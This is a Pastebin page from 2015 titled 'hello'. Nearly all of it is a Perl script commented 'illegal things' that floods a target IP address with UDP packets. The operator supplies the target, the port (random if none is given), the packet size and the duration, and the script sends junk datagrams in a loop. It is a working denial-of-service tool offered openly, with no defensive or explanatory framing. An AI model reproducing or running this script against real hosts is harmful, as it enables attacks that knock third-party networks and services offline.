Advertisement
Guest User

hello

a guest
May 27th, 2015
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##############
  4. # illegal things.
  5. ##############
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  15. $endtime = time() + ($time ? $time : 1000000);
  16. socket(flood, PF_INET, SOCK_DGRAM, 17);
  17.  
  18.  
  19. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  20. ($size ? "$size-byte" : "random size") . " packets" .
  21. ($time ? " for $time seconds" : "") . "\n";
  22. print "Break with Ctrl-C\n" unless $time;
  23.  
  24. for (;time() <= $endtime;) {
  25. $psize = $size ? $size : int(rand(1024-64)+64) ;
  26. $pport = $port ? $port : int(rand(65500))+1;
  27.  
  28. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement